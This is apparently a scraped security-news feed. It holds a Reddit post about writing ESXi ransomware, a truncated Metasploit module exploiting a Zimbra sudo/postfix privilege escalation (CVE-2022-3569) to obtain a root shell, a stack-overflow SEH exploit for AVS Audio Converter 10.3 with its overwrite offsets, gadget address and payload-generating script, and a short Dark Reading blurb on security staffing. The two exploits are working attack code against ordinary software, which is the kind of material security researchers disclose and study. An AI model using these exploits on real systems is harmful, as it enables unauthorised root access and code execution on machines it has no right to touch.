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Writing Ransomware for VMWare ESXi
https://www.reddit.com/r/redteamsec/comments/y83vq7/writing_ransomware_for_vmware_esxi/

I wanted to find some ransomware samples for VMware ESXi. I didn't find any, so I decided to write my own. I was shocked at how ridiculously easy this was. I made a video showing how to do this in 33 lines of python. Hopefully, this will help further detection of these kinds of threats. Check it out! Writing Ransomware for ESXi (https://youtu.be/dB0dOF1ood0) submitted by /u/Infosecsamurai (https://www.reddit.com/user/Infosecsamurai)
[link] (https://www.reddit.com/r/redteamsec/comments/y83vq7/writing_ransomware_for_vmware_esxi/) [comments] (https://www.reddit.com/r/redteamsec/comments/y83vq7/writing_ransomware_for_vmware_esxi/)

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Zimbra Privilege Escalation

https://4.bp.blogspot.com/-JipZY3hUF7s/WWlu7l1ccBI/AAAAAAAAIJc/HAISYb4KBsQdeIf6OzzYRuXiYaIkpQnmACLcBGAs/s1600/h110.png This Metasploit module exploits a vulnerable sudo configuration that permits the Zimbra user to execute postfix as root. In turn, postfix can execute arbitrary shellscripts, which means it can execute a root shell.

SHA-256 | 60ec0dcab5b58dbebac7ed6c99c5cf1fb52f76e5b1a5f3723089e823fc252948Download ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Linux::Priv
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Zimbra sudo + postfix privilege escalation',
'Description' => %q{
This module exploits a vulnerable sudo configuration that permits the
zimbra user to execute postfix as root. In turn, postfix can execute
arbitrary shellscripts, which means it can execute a root shell.
},
'License' => MSF_LICENSE,
'Author' => [
'EvergreenCartoons', # discovery and poc
'Ron Bowes', # Module
],
'DisclosureDate' => '2022-10-13',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Privileged' => true,
'References' => [
[ 'CVE', '2022-3569' ],
[ 'URL', 'https://twitter.com/ldsopreload/status/1580539318879547392' ],
],
'Targets' => [
[ 'Auto', {} ],
],
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS ]
}
)
)
register_options [
OptString.new('SUDO_PATH', [ true, 'Path to sudo executable', 'sudo' ]),
OptString.new('ZIMBRA_BASE', [ true, "Zimbra's installation directory", '/opt/zimbra' ]),
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptString.new('PayloadFilename', [ false, 'The name to use for the executable (default: ".
Source:packetstormsecurity.com

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AVS Audio Converter 10.3 Stack Overflow

https://3.bp.blogspot.com/-w74A7gxi0bY/WWlvD06cX8I/AAAAAAAAIK4/fcu0jWNFLhIrvrv6B2He7QdGvtDQ7X4rQCLcBGAs/s1600/h131.png
AVS Audio Converter version 10.3 suffers from a stack overflow vulnerability.

SHA-256 | ec7347cd5f5d10a2cede7312e6e56ccaf9f1bf87ea591e7fb790a119da8b4db7

Download
# Exploit Title: AVS Audio Converter 10.3 - Stack Overflow (SEH)
# Discovered by: Yehia Elghaly - Mrvar0x
# Discovered Date: 2022-10-16
# Tested Version: 10.3.1.633
# Tested on OS: Windows 7 Professional x86

#pop+ret Address=005154E6
#Message= 0x005154e6 : pop ecx # pop ebp # ret 0x04 | startnull {PAGE_EXECUTE_READ} [AVSAudioConverter.exe]
#ASLR: False, Rebase: False, SafeSEH: False, OS: False, v10.3.1.633 (C:\Program Files\AVS4YOU\AVSAudioConverter\AVSAudioConverter.exe)

# The only module that has SafeSEH disabled.
# Base | Top | Rebase | SafeSEH | ASLR | NXCompat | OS Dll |
# 0x00400000 | 0x01003000 | False | False | False | False | False |

#Allocating 4-bytes for nSEH which should be placed directly before SEH which also takes up 4-bytes.

#Buffer = '\x41'* 260
#nSEH = '\x42'*4
#SEH = '\x43'*4
#ESI = 'D*44' # ESI Overwrite

#buffer = "A"*260 + [nSEH] + [SEH] + "D"*44
#buffer = "A"*260 + "B"*4 + "\xE6\x54\x51\x05" + "D"*44
# Rexploit:
# Generate the 'evil.txt' payload using python 2.7.x on Linux.
# Open the file 'evil.txt' Copy.
# Paste at'Output Folder and click 'Browse'.

#!/usr/bin/python -w

filename="evil.txt"

buffer = "A"*260 + "B"*4 + "C"*4 + "D"*44

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

Source:packetstormsecurity.com

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Dark Reading: Attacks/Breaches
A New Solution to the Cybersecurity Skills Gap: Building Security into Operational Teams

Why — and how — companies should consider shifting day-to-day security responsibilities out to operations teams. The move would elevate the team's level of decision-making and help address the challenge of finding professionals with security-specific credentials.